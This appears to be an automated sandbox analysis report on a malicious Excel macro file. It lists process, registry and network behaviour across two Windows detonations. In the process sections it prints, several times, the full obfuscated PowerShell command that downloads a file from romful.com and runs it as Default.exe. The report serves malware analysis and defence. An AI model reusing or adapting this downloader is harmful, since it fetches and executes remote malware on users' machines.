Analysis Overview
SHA256
4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082
Threat Level: Known bad
The file 4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Office macro that triggers on suspicious action
Suspicious Office macro
Command and Scripting Interpreter: PowerShell
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of WriteProcessMemory
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-22 22:23
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-22 22:23
Reported
2024-07-22 22:24
Platform
win7-20240708-en
Max time kernel
19s
Max time network
16s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\CMd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls
C:\Windows\SysWOW64\CMd.exe
CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | romful.com | udp |
Files
memory/2232-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2232-1-0x000000007292D000-0x0000000072938000-memory.dmp
memory/2232-47-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-89-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-88-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-87-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-86-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-85-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-48-0x0000000006560000-0x0000000006660000-memory.dmp
memory/2232-92-0x000000007292D000-0x0000000072938000-memory.dmp
memory/2232-93-0x0000000006560000-0x0000000006660000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-22 22:23
Reported
2024-07-22 22:24
Platform
win10v2004-20240709-en
Max time kernel
47s
Max time network
40s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1620 wrote to memory of 3088 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 1620 wrote to memory of 3088 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\CMd.exe |
| PID 3088 wrote to memory of 2556 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3088 wrote to memory of 2556 | N/A | C:\Windows\SYSTEM32\CMd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4eebad4e1bd069ab424f66d5f87f88ccd3cf9637071bd2937c10e6a2b34d8082.xls"
C:\Windows\SYSTEM32\CMd.exe
CMd.exe /c "p^Ow^ERS^hel^l^.e^x^e^ -nO^l -No^Ni^Nt^ -W^InDO^ws^ 1 -NoprO^FIle^ -eX^Ec^U B^Ypa^S^s $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
pOwERShell.exe -nOl -NoNiNt -WInDOws 1 -NoprOFIle -eXEcU BYpaSs $fos=''',''';$hit='dfil';$fd=');sta';$dr='(ne';$ed='ject ';$ipo='syst';$kos='t.we';$rem='ent).do';$sad='wnloa';$kp='w-ob';$nim='e(''';$mo='De';$uy='fa';$ji='ult.ex';$pol='em.ne';$oe='e''';$jik='rt-pro';$naw='cess ''';$lim='bcli';Invoke-Expression($dr+$kp+$ed+$ipo+$pol+$kos+$lim+$rem+$sad+$hit+$nim+'http://romful.com/nero'+$fos+$mo+$uy+$ji+$oe+$fd+$jik+$naw+$mo+$uy+$ji+$oe)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| NL | 52.109.89.19:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 97.17.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | romful.com | udp |
| US | 8.8.8.8:53 | 136.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.253.116.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/1620-2-0x00007FF88C010000-0x00007FF88C020000-memory.dmp
memory/1620-3-0x00007FF88C010000-0x00007FF88C020000-memory.dmp
memory/1620-1-0x00007FF88C010000-0x00007FF88C020000-memory.dmp
memory/1620-0-0x00007FF88C010000-0x00007FF88C020000-memory.dmp
memory/1620-5-0x00007FF88C010000-0x00007FF88C020000-memory.dmp
memory/1620-4-0x00007FF8CC02D000-0x00007FF8CC02E000-memory.dmp
memory/1620-6-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-9-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-7-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-8-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-11-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-10-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-12-0x00007FF889B80000-0x00007FF889B90000-memory.dmp
memory/1620-13-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-14-0x00007FF889B80000-0x00007FF889B90000-memory.dmp
memory/1620-15-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-17-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-16-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-18-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-19-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/1620-86-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp
memory/2556-132-0x000001BFF2FE0000-0x000001BFF3002000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3lzpljxt.jqp.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | ed04763581fcd9518a87267e78e4a3b6 |
| SHA1 | 2cd1c61e0e23f179d4195dfeabf64fdd158763bd |
| SHA256 | 9f3813a6953d6f82685e490229711ece45b82f80f18c4ec3ea05ec322d1349f9 |
| SHA512 | ceca5f8483225397faf3e34bb497ac7edb11c30a341fabe2ca965b8649b5cc0e25022c284ef0c65347c4b0926075b8dcd6ab53123fe7b7919eaec94315fb351d |
memory/1620-152-0x00007FF8CBF90000-0x00007FF8CC185000-memory.dmp